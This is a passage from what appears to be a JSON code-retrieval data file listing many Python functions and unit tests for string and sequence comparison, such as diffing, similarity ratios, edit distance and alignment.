text_2).ratio()*100, 2)) + '%'\",\n \"def svn_diff_mem_string_output_unified(*args):\\n return _diff.svn_diff_mem_string_output_unified(*args)\",\n \"def _print_first_difference(\\n arec, brec, ignore_case=False, ignore_N=False, report_match=True\\n):\\n aseq, bseq = arec.seq, brec.seq\\n asize, bsize = len(aseq), len(bseq)\\n\\n matched = True\\n for i, (a, b) in enumerate(zip_longest(aseq, bseq)):\\n if ignore_case and None not in (a, b):\\n a, b = a.upper(), b.upper()\\n\\n if ignore_N and (\\\"N\\\" in (a, b) or \\\"X\\\" in (a, b)):\\n continue\\n\\n if a != b:\\n matched = False\\n break\\n\\n if i + 1 == asize and matched:\\n if report_match:\\n printf(\\\"[green]Two sequences match\\\")\\n match = True\\n else:\\n printf(\\\"[red]Two sequences do not match\\\")\\n\\n snippet_size = 20 # show the context of the difference\\n\\n printf(\\\"[red]Sequence start to differ at position {}:\\\".format(i + 1))\\n\\n begin = max(i - snippet_size, 0)\\n aend = min(i + snippet_size, asize)\\n bend = min(i + snippet_size, bsize)\\n\\n printf(\\\"[red]{}|{}\\\".format(aseq[begin:i], aseq[i:aend]))\\n printf(\\\"[red]{}|{}\\\".format(bseq[begin:i], bseq[i:bend]))\\n match = False\\n\\n return match\",\n \"def unified_diff(expected_text, actual_text, expected_filename,\\n actual_filename):\\n # The filenames show up in the diff output, make sure they're\\n # raw bytes and not unicode, so that they don't trigger join()\\n # trying to decode the input.\\n if six.PY2:\\n expected_filename = six.ensure_binary(expected_filename)\\n actual_filename = six.ensure_binary(actual_filename)\\n\\n diff = difflib.unified_diff(expected_text.splitlines(True),\\n actual_text.splitlines(True),\\n expected_filename, actual_filename)\\n return ''.join(_diff_fixup(diff))\",\n \"def svn_diff_mem_string_output_unified2(*args):\\n return _diff.svn_diff_mem_string_output_unified2(*args)\",\n \"def compare_strings(string1: str, string2: str) -> float:\\n return SequenceMatcher(None, string1, string2).ratio()\",\n \"def test_substitutions_in_word(self):\\n m = strutils.MultiReplace({r'cat': 'kedi', r'purple': 'mor', })\\n self.assertEqual(m.sub('Thecatispurple'), 'Thekediismor')\",\n \"def compare(text1, text2):\\n diff = difflib.ndiff(text1.splitlines(True), text2.splitlines(True))\\n return '\\\\n' + '\\\\n'.join(diff)\",\n \"def test_string_filter(mutation_sequence_with_set_descriptions):\\n string_filter = StringFilter(string_to_match=\\\"SUPER SHOP\\\")\\n assert len(string_filter.apply(mutation_sequence_with_set_descriptions)) == 2\",\n \"def difference_finder(str1, str2):\\n\\n # handle the case where one string is longer than the other\\n maxlen = len(str2) if len(str1) < len(str2) else len(str1)\\n result1, result2 = '', ''\\n\\n # loop through the characters\\n for i in range(maxlen):\\n # use a slice rather than index in case one string longer than other\\n letter1 = str1[i:i + 1]\\n letter2 = str2[i:i + 1]\\n # create string with differences\\n if letter1 != letter2:\\n result1 += letter1\\n result2 += letter2\\n # print out result\\n print(\\\"First difference character :\\\", result1)\",\n \"def test_simple_substitutions(self):\\n m = strutils.MultiReplace({r'cat': 'kedi', r'purple': 'mor', })\\n self.assertEqual(m.sub('The cat is purple'), 'The kedi is mor')\",\n \"def string_difference(str1, str2):\\n\\n assert len(str1) == len(str2)\\n return sum(a != b for a, b in zip(str1,str2))\",\n \"def compare(mem1, mem2, name1, name2, output=sys.stdout, show_equal=True, granularity=1):\\n\\n addresses1, stream1 = make_stream(mem1, granularity=granularity)\\n addresses2, stream2 = make_stream(mem2, granularity=granularity)\\n\\n s = difflib.SequenceMatcher(lambda x: x is None, stream1, stream2, autojunk=False)\\n #~ sys.stderr.write('similarity [0...1]: {:.2f}\\\\n'.format(s.ratio())) # XXX if verbose\\n equal = True\\n for opcode, i1, i2, j1, j2 in s.get_opcodes():\\n #~ print \\\"=== %6s a[%d:%d] b[%d:%d]\\\" % (opcode, i1, i2, j1, j2)\\n if opcode == 'equal':\\n if addresses1[i1] != addresses2[j1]:\\n equal = False\\n if show_equal:\\n hexdump(' ', addresses1[i1:i2], addresses2[j1:j2], stream1[i1:i2], output)\\n else:\\n # XXX search for address jumps in the blocks just like hexdump does\\n output.write('= {:08x} {:08x}: {} bytes identical{}\\\\n'.format(\\n addresses1[i1],\\n addresses2[j1],\\n (i2 - i1) * granularity,\\n ' at different addresses' if addresses1[i1] != addresses2[j1] else ''))\\n elif opcode == 'insert':\\n hexdump('+', None, addresses2[j1:j2], stream2[j1:j2], output)\\n equal = False\\n elif opcode == 'replace':\\n #~ output.write('\\\\n')\\n hexdump('<', addresses1[i1:i2], None, stream1[i1:i2], output)\\n #~ sys.stdout.write('--- is replaced with\\\\n')\\n hexdump('>', None, addresses2[j1:j2], stream2[j1:j2], output)\\n #~ output.write('\\\\n')\\n equal = False\\n elif opcode == 'delete':\\n hexdump('-', addresses1[i1:i2], None, stream1[i1:i2], output)\\n equal = False\\n\\n if equal:\\n output.write(\\\"files are identical\\\\n\\\")\\n return True\\n else:\\n return False\",\n \"def similar(a, b):\\n return SequenceMatcher(None, a, b).ratio()\",\n \"def similar(a, b):\\n return SequenceMatcher(None, a, b).ratio()\",\n \"def _match(a, b):\\n return SequenceMatcher(None, a, b).ratio()\",\n \"def edit_distance(str1, str2, reconstruct_answer=False, method=alignments.Levinshtein(),\\n swap_case_on_mismatch=True):\\n method = alignments.Levinshtein() if method is None else method\\n return align(str1, str2, reconstruct_answer, method, swap_case_on_mismatch)\",\n \"def Compare_Tokenization(ref_sentences, test_sentences, **kwargs):\\n output_path = kwargs.get(\\\"output_path\\\", os.environ[\\\"PWD\\\"])\\n\\n with open(f\\\"{output_path}/tok_diff.txt\\\", \\\"w\\\") as ft:\\n for ref_sent, test_sent in zip(ref_sentences, test_sentences):\\n new_ref = []\\n new_test = []\\n for token_ref in ref_sent:\\n token_ref = token_ref.lower()\\n if token_ref[0] == \\\"[\\\" and token_ref[-1] == \\\"]\\\":\\n token_ref = token_ref[1:-1]\\n new_ref.append(token_ref)\\n for token_test in test_sent:\\n token_test = token_test.lower()\\n if token_test[0] == \\\"[\\\" and token_test[-1] == \\\"]\\\":\\n token_test = token_test[1:-1]\\n new_test.append(token_test)\\n if new_ref != new_test:\\n set_ref = set(new_ref)\\n set_test = set(new_test)\\n ft.write(\\\"Sentence Differs:\\\\n{}\\\\nin tokens:{}<--->{}\\\\n\\\".format(\\\" \\\".join(ref_sent), sorted(list(set_ref - set_test)), sorted(list(set_test - set_ref))))\",\n \"def compare_seq_ids(id1, id2):\\n split1 = id1.split(' ')\\n split2 = id2.split(' ')\\n if len(split1) != 2:\\n raise ValueError('id1 does not contain exactly one space.')\\n if len(split2) != 2:\\n raise ValueError('id2 does not contain exactly one space.')\\n l1, r1 = split1\\n l2, r2 = split2\\n match = l1 == l2\\n prefix = l1 if match else None\\n return match, prefix\",\n \"def test_snippet_2(self):\\n\\n text = \\\"Jon is a carpenter and an engineer\\\"\\n drs = Drs.create_from_natural_language(text)\\n expected_drs = Drs.create_from_predicates_string(\\\"\\\"\\\"\\n {'word': 'is', 'tag': 'v', 'compound': 'is', 'entity': '', 'lemma': 'be', 'gender_guess': None, 'is_head_token': True, 'refers_to': None, 'negated': 'false'}(v1), {'word': 'Jon', 'tag': 'n', 'compound': 'Jon', 'entity': 'PERSON', 'lemma': 'Jon', 'gender_guess': 'm', 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v0), {'word': 'carpenter', 'tag': 'n', 'compound': 'carpenter', 'entity': '', 'lemma': 'carpenter', 'gender_guess': None, 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v3), {'word': 'engineer', 'tag': 'n', 'compound': 'engineer', 'entity': '', 'lemma': 'engineer', 'gender_guess': None, 'is_head_token': False, 'refers_to': None, 'negated': 'false'}(v6), {'type': 'AGENT'}(v1,v0), {'type': 'ATTR'}(v1,v6), {'type': 'ATTR'}(v1,v3), {'type': 'ATTR'}(v1,v6)\\n \\\"\\\"\\\")\\n lst = drs.apply(DrsMatcher(expected_drs, metric))\\n is_match = len(lst) > 1\\n self.assertTrue(is_match)\",\n \"def testSeqMatch(self): # - - - - - - - - - - - - - - - - - - - - - - - - -\\n\\n for pair in self.string_pairs:\\n\\n approx_str_value = stringcmp.seqmatch(pair[0],pair[1])\\n\\n assert (isinstance(approx_str_value,float)), \\\\\\n '\\\"SeqMatch\\\" does not return a floating point number for: '+ \\\\\\n str(pair)\\n\\n assert (approx_str_value >= 0.0), \\\\\\n '\\\"SeqMatch\\\" returns a negative number for: '+str(pair)\\n\\n assert (approx_str_value <= 1.0), \\\\\\n '\\\"SeqMatch\\\" returns a number larger than 1.0 for: '+str(pair)\\n\\n approx_str_value_1 = stringcmp.seqmatch(pair[0],pair[1])\\n approx_str_value_2 = stringcmp.seqmatch(pair[1],pair[0])\\n\\n assert (approx_str_value_1 == approx_str_value_2), \\\\\\n '\\\"SeqMatch\\\" returns different values for pair and swapped ' + \\\\\\n 'pair: '+str(pair)+': '+str(approx_str_value_1)+', '+ \\\\\\n str(approx_str_value_2)\\n\\n # Check for value 1.0 if the strings are the same\\n #\\n if (pair[0] == pair[1]):\\n\\n assert (approx_str_value == 1.0), \\\\\\n '\\\"SeqMatch\\\" does not return 1.0 if strings are equal: '+ \\\\\\n str(pair)\",\n \"def line_edits(s1, s2):\\n l1 = s1.splitlines()\\n l2 = s2.splitlines()\\n \\n result = editDistance(l1, l2)\\n \\n result = result[::-1]\\n \\n return result\",\n \"def svn_diff_mem_string_diff3(*args):\\n return _diff.svn_diff_mem_string_diff3(*args)\",\n \"def diff(args):\\n from jcvi.utils.table import banner\\n\\n p = OptionParser(diff.__doc__)\\n p.add_option(\\n \\\"--ignore_case\\\",\\n default=False,\\n action=\\\"store_true\\\",\\n help=\\\"ignore case when comparing sequences\\\",\\n )\\n p.add_option(\\n \\\"--ignore_N\\\",\\n default=False,\\n action=\\\"store_true\\\",\\n help=\\\"ignore N and X's when comparing sequences\\\",\\n )\\n p.add_option(\\n \\\"--ignore_stop\\\",\\n default=False,\\n action=\\\"store_true\\\",\\n help=\\\"ignore stop codon when comparing sequences\\\",\\n )\\n p.add_option(\\n \\\"--rc\\\",\\n default=False,\\n action=\\\"store_true\\\",\\n help=\\\"also consider reverse complement\\\",\\n )\\n p.add_option(\\n \\\"--quiet\\\",\\n default=False,\\n action=\\\"store_true\\\",\\n help=\\\"don't output comparison details\\\",\\n )\\n\\n opts, args = p.parse_args(args)\\n\\n if len(args) != 2:\\n sys.exit(not p.print_help())\\n\\n afasta, bfasta = args\\n\\n afastan = len(Fasta(afasta))\\n bfastan = len(Fasta(bfasta))\\n\\n if afastan == bfastan:\\n printf(\\n \\\"[green]Two sets contain the same number of sequences ({}, {})\\\".format(\\n afastan, bfastan\\n )\\n )\\n else:\\n printf(\\n \\\"[red]Two sets contain different number of sequences ({}, {})\\\".format(\\n afastan, bfastan\\n )\\n )\\n\\n ah = SeqIO.parse(afasta, \\\"fasta\\\")\\n bh = SeqIO.parse(bfasta, \\\"fasta\\\")\\n\\n problem_ids = []\\n for arec, brec in zip(ah, bh):\\n\\n if opts.ignore_stop:\\n arec.seq = arec.seq.rstrip(\\\"*\\\")\\n brec.seq = brec.seq.rstrip(\\\"*\\\")\\n\\n asize, bsize = len(arec), len(brec)\\n\\n if not opts.quiet:\\n print(banner(str(arec), [str(brec)]))\\n if asize == bsize:\\n printf(\\\"[green]Two sequence size match ({})\\\".format(asize))\\n else:\\n printf(\\n \\\"[red]Two sequence size do not match ({}, {}})\\\".format(asize, bsize)\\n )\\n\\n # print out the first place the two sequences diff\\n fd = print_first_difference(\\n arec,\\n brec,\\n ignore_case=opts.ignore_case,\\n ignore_N=opts.ignore_N,\\n rc=opts.rc,\\n report_match=not opts.quiet,\\n )\\n if not fd:\\n logging.error(\\\"Two sets of sequences differ at `{0}`\\\".format(arec.id))\\n problem_ids.append(\\n \\\"\\\\t\\\".join(str(x) for x in (arec.id, asize, bsize, abs(asize - bsize)))\\n )\\n\\n if problem_ids:\\n print(\\\"A total of {0} records mismatch.\\\".format(len(problem_ids)))\\n fw = must_open(\\\"Problems.ids\\\", \\\"w\\\")\\n print(\\\"\\\\n\\\".join(problem_ids), file=fw)\",\n \"def compare(self, p_str, p_str_1): # real signature unknown; restored from __doc__\\n return 0\",\n \"def get_diff(s1, s2):\\n s1 = s1.splitlines(keepends=True)\\n s2 = s2.splitlines(keepends=True)\\n\\n d = Differ()\\n\\n result = list(d.compare(s1, s2))\\n\\n lines = \\\"\\\"\\n for l in result:\\n if l.startswith(' '):\\n continue\\n elif len(l) < 3:\\n continue\\n # elif l.startswith('?'):\\n # continue\\n elif l.startswith(\\\"?\\\"):\\n lines += '?' + ' ' + l[1:]\\n else:\\n lines += '\\\\n' + l\\n\\n return lines\",\n \"def test_sequence_modify(self):\\n self.t(\\\"1,2 modify +xyz\\\")\\n code, out, err = self.t(\\\"_get 1.tags 2.tags\\\")\\n self.assertEqual(\\\"xyz xyz\\\\n\\\", out)\",\n \"def sm_longest_match(s1,s2):\\n anslist=[]\\n match = SM(None, s1, s2).find_longest_match(0, len(s1), 0, len(s2))\\n match_pat = s1[match.a: match.a + match.size]\\n while match.size > 1:\\n anslist.append( (match_pat, match.a) )\\n\\n #replace match pattern from string\\n s1=s1.replace(match_pat,'')\\n s2 = s2.replace(match_pat, '')\\n\\n match = SM(None, s1, s2).find_longest_match(0, len(s1), 0, len(s2))\\n\\n match_pat = s1[match.a: match.a + match.size]\\n\\n return anslist\",\n \"def levenshtein_normalised(str1, str2):\\n\\treturn levenshtein(str1, str2, normalise=True)\",\n \"def cmplines(a, b):\\n # we know that all lines that reach here have actions\\n # make set actions first\\n # depend actions last\\n # rest in alpha order\\n\\n def typeord(a):\\n if a.name == \\\"set\\\":\\n return 1\\n if a.name == \\\"depend\\\":\\n return 3\\n return 2\\n c = cmp(typeord(a[0]) , typeord(b[0]))\\n if c:\\n return c\\n c = cmp(a[0].name, b[0].name)\\n if c:\\n return c\\n\\n if a[0].name == \\\"set\\\" and a[0].attrs[\\\"name\\\"] == \\\"pkg.fmri\\\":\\n return -1\\n\\n if b[0].name == \\\"set\\\" and b[0].attrs[\\\"name\\\"] == \\\"pkg.fmri\\\":\\n return 1\\n\\n\\n if a[0].name == \\\"set\\\" and a[0].attrs[\\\"name\\\"].startswith(\\\"pkg.\\\") and \\\\\\n not b[0].attrs[\\\"name\\\"].startswith(\\\"pkg.\\\"):\\n return -1\\n\\n if b[0].name == \\\"set\\\" and b[0].attrs[\\\"name\\\"].startswith(\\\"pkg.\\\") and \\\\\\n not a[0].attrs[\\\"name\\\"].startswith(\\\"pkg.\\\"):\\n return 1\\n\\n\\n key_attr = a[0].key_attr\\n if key_attr:\\n c = cmp(a[0].attrs[key_attr], b[0].attrs[key_attr])\\n if c:\\n return c\\n\\n return cmp(str(a[0]), str(b[0]))\",\n \"def test_madlib_substitution():\\n actual = madlib(input_values)\\n expected = output_text\\n assert actual == expected\",\n \"def call(str_a, str_b):\\n if not sys.getsizeof(str_a) == sys.getsizeof(str_b):\\n return False\\n\\n comp_a = [int(str_a_char) for str_a_char in bytes(str_a.encode('utf-8'))]\\n\\n res = 0\\n for str_b_char in bytes(str_b.encode('utf-8')):\\n res |= str_b_char ^ comp_a.pop(0)\\n\\n return res == 0\",\n \"def generate_mutString(s):\\r\\n test_seq = Seq.MutableSeq(str(template))\\r\\n #Introduce the mutation in a test string\\r\\n for mut in s.split():\\r\\n pos = int(mut[1:-1]) - 1 #Numbering from 0 in strings \\r\\n old = mut[0]\\r\\n new = mut[-1]\\r\\n if old == test_seq[pos]:\\r\\n test_seq[pos] = new \\r\\n else:\\r\\n print('Initial mutation didnt match')\\r\\n \\r\\n return test_seq\",\n \"def assertTextEq(self, a, b, msg=None):\\n trans = str.maketrans({\\n \\\" \\\": \\\"\\\",\\n \\\"\\\\n\\\": \\\"\\\"\\n })\\n\\n if isinstance(a, iAntlr4GramElem):\\n a = a.toAntlr4()\\n\\n if isinstance(b, iAntlr4GramElem):\\n b = b.toAntlr4()\\n\\n a = a.translate(trans)\\n b = b.translate(trans)\\n \\n self.assertEqual(a, b, msg=msg)\",\n \"def _compare_texts(self, text_a, text_b):\\n\\n text_ref_a = {\\n 'author' : text_a['author'],\\n 'language' : text_a['language'],\\n 'work' : text_a['title']\\n }\\n text_ref_b = {\\n 'author' : text_b['author'],\\n 'language' : text_b['language'],\\n 'work' : text_b['title']\\n }\\n\\n print(\\\" -- comparing\\\", text_a['author'], text_a['title'], \\\"to\\\", text_b['author'], text_b['title'])\\n\\n # Instantiate new TextReuse with metadata about both texts being compared\\n t = TextReuse(text_ref_a, text_ref_b, sanitize_input=True)\\n\\n # Create comparisons from both texts\\n comparisons = t.compare_sliding_window(text_a['text'], text_b['text'])\\n\\n # Save the comparisons to the self.comparisons_dbname database\\n self._save_comparisons(comparisons)\\n\\n return\",\n \"def svn_diff_mem_string_output_merge(*args):\\n return _diff.svn_diff_mem_string_output_merge(*args)\",\n \"def test_syntax_converter_expand_search_patterns_conjoined(self):\\n spi_search = \\\"find t bob and sam\\\"\\n inv_search = \\\"title:bob and title:sam\\\"\\n self._compare_searches(inv_search, spi_search)\",\n \"def test_strings_common_symbols():\\n\\n common_result = strings_ops.strings_common_symbols(\\\"hi\\\", \\\"hello\\\")\\n assert common_result == \\\"h\\\"\",\n \"def do(s):\\r\\n return get_AA_subs(generate_mutString(s))\",\n \"def __init__(self, source, target):\\n self.nl = u\\\"<NL>\\\"\\n self.delTag = u\\\"[-%s-]\\\"\\n# self.delTag = u\\\"%s\\\"\\n self.insTag = u\\\"{+%s+}\\\"\\n# self.insTag = u\\\"%s\\\"\\n self.source = source.replace(u\\\"\\\\n\\\", u\\\"\\\\n%s\\\" % self.nl).split()\\n self.target = target.replace(u\\\"\\\\n\\\", u\\\"\\\\n%s\\\" % self.nl).split()\\n self.deleteCount, self.insertCount, self.replaceCount = 0, 0, 0\\n self.diffText = None\\n self.cruncher = SequenceMatcher(None, self.source,\\n self.target)\\n self._buildDiff()\",\n \"def sorted_checker(a: str, b: str):\\n a_lines = a.splitlines()\\n a_sorted = sorted(a_lines)\\n a_string = \\\"\\\\n\\\".join(a_sorted)\\n b_lines = b.splitlines()\\n b_sorted = sorted(b_lines)\\n b_string = \\\"\\\\n\\\".join(b_sorted)\\n checker(a_string, b_string)\",\n \"def svn_diff_mem_string_output_merge2(*args):\\n return _diff.svn_diff_mem_string_output_merge2(*args)\",\n \"def distance(str1, str2):\\n return levenshtein.normalized_distance(str1, str2)\",\n \"def matching(a, b):\\n\\tcomp = zip(a, b)\\n\\tdiff = abs(len(a)-len(b))\\n\\tm = sum(1 for x,y in comp if x == y)\\n\\treturn m - diff\",\n \"def _pairwise_dist(self,seq1,seq2):\\n \\n return jf.damerau_levenshtein_distance(str(seq1), str(seq2))\",\n \"def compare(self, other_sequence):\\n response = []\\n if self.name != other_sequence.name:\\n response.append('DIFF: Sequence names: %s' % self.name)\\n response.append('and %s' % other_sequence.name)\\n if self.increment_by != other_sequence.increment_by:\\n response.append('DIFF: Increment interval')\\n response.append('is %d,' % self.increment_by)\\n response.append('for %s' % other_sequence.name)\\n response.append('it is %d' % other_sequence.increment_by)\\n if self.min_value != other_sequence.min_value:\\n response.append('DIFF: Min value is %d' % self.min_value)\\n response.append(' for %s' % other_sequence.name)\\n response.append('it is %d' % other_sequence.min_value)\\n if self.max_value != other_sequence.max_value:\\n response.append('DIFF: Max value is %d' % self.max_value)\\n response.append(', for %s ' % other_sequence.name)\\n response.append('it is %d' % other_sequence.max_value)\\n # The only attribute we don't check is currval, becuase it will be \\n # different in 999 cases out of a 1000\\n return response\",\n \"def string_num_matches(str1, str2):\\n sm = edit_distance.SequenceMatcher(a=str1, b=str2)\\n return sm.matches()\",\n \"def compare_joined_tokens(sp_tokens, bpe_tokens):\\n out = []\\n for s, b in zip(sp_tokens, bpe_tokens):\\n joined_bpe = functools.reduce(join_bpe, b, [])\\n \\n if s != joined_bpe:\\n out.append((s, joined_bpe))\\n \\n return out\",\n \"def test_transpose_words(self):\\n before_b = \\\"\\\"\\\"\\\\\\n first line\\n before bar2 += foo after\\n last line\\n \\\"\\\"\\\"\\n after_b = \\\"\\\"\\\"\\\\\\n first line\\n before foo += bar2 after\\n last line\\n \\\"\\\"\\\"\\n self.run_test(\\n before_b=before_b,\\n after_b=after_b,\\n before_sel=(\\\"2.9\\\", \\\"2.9\\\"),\\n after_sel=(\\\"2.11\\\", \\\"2.11\\\"),\\n command_name=\\\"transpose-words\\\",\\n )\",\n \"def iso_delta_from_strings(t1, t2):\\n t1c=iso_from_string(t1)\\n t2c=iso_from_string(t2)\\n return t2c-t1c\",\n \"def test_strings_are_equal(self):\\n string1 = 'this is the first string'\\n string2 = 'this is the first string' # ==, !is\\n string3 = 'this is the second string'\\n self.assertEqual(True, comparator.strings_are_equal(string1, string2))\\n self.assertEqual(False, comparator.strings_are_equal(string1, string3))\",\n \"def text_proximity(str_1: str, str_2: str) -> float:\\n tokens_1 = Counter(str_1.split(' '))\\n tokens_2 = Counter(str_2.split(' '))\\n return _normalized_scalar_product(tokens_1, tokens_2)\",\n \"def __sub_comparison_ops(file_contents: str) -> str:\\n\\n return re.sub(r'(?:IS\\\\s+)?EQUALS?(?:\\\\s+TO)?', '=', file_contents)\",\n \"def assert_strings_equal(a, b):\\n assert len(a) == len(b)\\n for x, y in zip(a, b):\\n assert x == y\",\n \"def svn_diff_mem_string_output_unified3(*args):\\n return _diff.svn_diff_mem_string_output_unified3(*args)\",\n \"def seq_align(string1,string2,mismatch_penalty,gap_penalty):\\n\\n # define 2x2 matrix\\n matrix = []\\n for i in range(len(string1)+1):\\n if i == 0:\\n matrix.append(list([gap_penalty * x for x in range(len(string2)+1)]))\\n else:\\n matrix.append(list([gap_penalty * i if x == 0 else None for x in range(len(string2)+1)]))\\n\\n # populate matrix by looping through the strings and finding optimal value for each spot\\n for i in range(len(string1)):\\n for j in range(len(string2)):\\n if string1[i] == string2[j]:\\n val1 = 0 + matrix[i][j]\\n else:\\n val1 = mismatch_penalty + matrix[i][j]\\n val2 = gap_penalty + matrix[i][j+1]\\n val3 = gap_penalty + matrix[i+1][j]\\n min_val = min(val1,val2,val3)\\n matrix[i+1][j+1] = min_val\\n\\n\\n # define values to use while retracing\\n result_str1 = ''\\n result_str2 = ''\\n i = len(matrix)-1\\n j = len(matrix[0])-1\\n\\n # trace through matrix to find the optimal character alignment\\n while i > 0 and j > 0:\\n val1 = matrix[i-1][j-1]\\n val2 = matrix[i-1][j]\\n val3 = matrix[i][j-1]\\n min_val = min(val1,val2,val3)\\n if val1 == min_val:\\n result_str1 += string1[i-1]\\n result_str2 += string2[j-1]\\n i -= 1\\n j -= 1\\n elif val2 == min_val:\\n result_str1 += \\\"-\\\"\\n result_str2 += string2[j-1]\\n i -= 1\\n else:\\n result_str1 += string1[i-1]\\n result_str2 += \\\"-\\\"\\n j -= 1\\n\\n # for any leftover j values\\n if i == 0:\\n while j > 0:\\n result_str1 += '-'\\n result_str2 += string2[j]\\n j -=1\\n\\n # for any leftover i values\\n if j == 0:\\n while i > 0:\\n result_str1 += string1[i]\\n result_str2 += \\\"-\\\"\\n i -= 1\\n\\n return matrix[len(matrix)-1][len(matrix[0])-1], result_str1[::-1], result_str2[::-1]\",\n \"def test_forward_word_extend_selection(self):\\n before_b = \\\"\\\"\\\"\\\\\\n Americans live in the most severe weather-prone country on Earth. Each year, Americans cope with an average of 10,000 thunderstorms, 2,500 floods, 1,000 tornadoes, as well as an average of 6 deadly hurricanes. Potentially deadly weather impacts every American. Communities can now rely on the National Weather Service’s StormReady program to help them guard against the ravages of Mother Nature.\\n\\n Some 90% of all presidentially declared disasters are weather related, leading to around 500 deaths per year and nearly $14 billion in damage. StormReady, a program started in 1999 in Tulsa, OK, helps arm America's communities with the communication and safety skills needed to save lives and property– before and during the event. StormReady helps community leaders and emergency managers strengthen local safety programs.\\n\\n StormReady communities are better prepared to save lives from the onslaught of severe weather through better planning, education, and awareness. No community is storm proof, but StormReady can help communities save lives. Does StormReady make a difference?\\n \\\"\\\"\\\"\\n after_b = \\\"\\\"\\\"\\\\\\n Americans live in the most severe weather-prone country on Earth. Each year, Americans cope with an average of 10,000 thunderstorms, 2,500 floods, 1,000 tornadoes, as well as an average of 6 deadly hurricanes. Potentially deadly weather impacts every American. Communities can now rely on the National Weather Service’s StormReady program to help them guard against the ravages of Mother Nature.\\n\\n Some 90% of all presidentially declared disasters are weather related, leading to around 500 deaths per year and nearly $14 billion in damage. StormReady, a program started in 1999 in Tulsa, OK, helps arm America's communities with the communication and safety skills needed to save lives and property– before and during the event. StormReady helps community leaders and emergency managers strengthen local safety programs.\\n\\n StormReady communities are better prepared to save lives from the onslaught of severe weather through better planning, education, and awareness. No community is storm proof, but StormReady can help communities save lives. Does StormReady make a difference?\\n \\\"\\\"\\\"\\n self.run_test(\\n before_b=before_b,\\n after_b=after_b,\\n before_sel=(\\\"1.395\\\", \\\"1.395\\\"),\\n after_sel=(\\\"1.395\\\", \\\"3.4\\\"),\\n command_name=\\\"forward-word-extend-selection\\\",\\n )\",\n \"def edit_distance(str1, str2):\\r\\n pass\",\n \"def test_string_filter_chain(mutation_sequence_with_set_descriptions):\\n mutations = mutation_sequence_with_set_descriptions\\n\\n string_filter = StringFilter(string_to_match=\\\"SUPER SHOP\\\")\\n string_filter2 = StringFilter(string_to_match=\\\"alert!\\\", parent=string_filter)\\n string_filter3 = StringFilter(\\n string_to_match=\\\"some other string\\\", parent=string_filter2\\n )\\n\\n assert len(string_filter.apply(mutations)) == 2\\n assert len(string_filter2.apply(mutations)) == 1\\n assert len(string_filter3.apply(mutations)) == 0\",\n \"def sequence(word1: str, word2: str) -> str:\\r\\n matrix = [[[0, [0, 0]] for x in range(len(word1) + 1)] for i in range(len(word2) + 1)]\\r\\n\\r\\n for i in range(1, len(word2) + 1):\\r\\n for j in range(1, len(word1) + 1):\\r\\n # compares every letter in\\r\\n if word2[i - 1] == word1[j - 1]:\\r\\n matrix[i][j][0] = 1 + matrix[i-1][j-1][0]\\r\\n matrix[i][j][1] = [i - 1, j - 1]\\r\\n else:\\r\\n if matrix[i - 1][j][0] > matrix[i][j - 1][0]:\\r\\n matrix[i][j][0] = matrix[i - 1][j][0]\\r\\n matrix[i][j][1] = [i - 1, j]\\r\\n else:\\r\\n matrix[i][j][0] = matrix[i][j - 1][0]\\r\\n matrix[i][j][1] = [i, j - 1]\\r\\n # the code below runs in order to extract the sequence. it starts at position (m,n)\\r\\n res = \\\"\\\"\\r\\n i = len(matrix) - 1\\r\\n j = len(matrix[0]) - 1\\r\\n while i and j != 0:\\r\\n if matrix[i][j][1] == [i - 1, j - 1]:\\r\\n res = word1[j - 1] + res\\r\\n i, j = matrix[i][j][1]\\r\\n return res\",\n \"def edit_distance_from_aln_strings(str1, str2):\\n assert len(str1) == len(str2)\\n edit_distance = 0\\n in_gap = False\\n\\n for i, char1 in enumerate(str1):\\n if char1 == \\\"-\\\" or str2[i] == \\\"-\\\":\\n if not in_gap:\\n in_gap = True\\n edit_distance += 1\\n else:\\n in_gap = False\\n\\n if char1 != str2[i]:\\n edit_distance += 1\\n\\n return edit_distance\",\n \"def test_syntax_converter_expand_search_patterns_multiple_conjoined(self):\\n spi_search = \\\"find t bob sam and couch\\\"\\n inv_search = \\\"title:bob and title:sam and title:couch\\\"\\n self._compare_searches(inv_search, spi_search)\",\n \"def _compare_unordered(self, other):\\n self_token_set = set(self.tokens)\\n other_token_set = set(other.tokens)\\n\\n if len(self_token_set.intersection(other_token_set)) == 0:\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n if self.address_type != other.address_type:\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n if len(self_token_set) != len(other_token_set):\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n self_tokens = self_token_set - other_token_set\\n other_tokens = other_token_set - self_token_set\\n\\n if len(self_tokens) != len(other_tokens):\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n if len(self_tokens) == 0 and len(other_tokens) == 0:\\n if self.has_number and self.address_number == other.address_number:\\n return MatchResult(\\\"A2\\\", 1.0)\\n else:\\n return MatchResult(\\\"A4\\\", 1.0)\\n\\n result, self_unmatched, other_unmatched, _ = self._match_short_names(self_tokens, other_tokens)\\n\\n if not result:\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n result, other_unmatched, self_unmatched, _ = self._match_short_names(other_unmatched, self_unmatched)\\n\\n if not result:\\n return MatchResult(\\\"NO\\\", 0.0)\\n\\n if len(self_unmatched) != 0 or len(other_unmatched) != 0:\\n return MatchResult(\\\"NO\\\", 0.0)\\n else:\\n if self.has_number and self.address_number == other.address_number:\\n return MatchResult(\\\"A2\\\", 1.0)\\n else:\\n return MatchResult(\\\"A4\\\", 1.0)\",\n \"def EXACT(string1, string2):\\n return string1 == string2\",\n \"def pytest_assertrepr_compare(op: str, left: Any, right: Any) -> List[str]: # noqa: U100\\n output = [\\\"Compare Result:\\\"]\\n\\n for line in list(dictdiffer.diff(left, right)):\\n output.extend(pp.pformat(line).split(\\\"\\\\n\\\"))\\n\\n return output\",\n \"def levenshtein_dist(s1, s2, dele, add, sub):\\n m = np.zeros((len(s1)+1, len(s2)+1), dtype=np.int)\\n p = np.zeros((len(s1)+1, len(s2)+1), dtype=np.float)\\n for i in range(len(s1)+1):\\n m[i, 0] = i\\n # compute probability for deletion\\n if i == 0:\\n p[i, 0] = 1\\n else:\\n ind = alphabet.index('@')\\n p[i, 0] = p[i-1, 0] * dele[ind, alphabet.index(s1[i-1])]\\n for j in range(len(s2)+1):\\n # compute probability for insertion\\n if j == 0:\\n p[0, j] = 1\\n else:\\n prev_char = '@' if j == 1 else s2[j-2]\\n p[0, j] = p[0, j-1] * 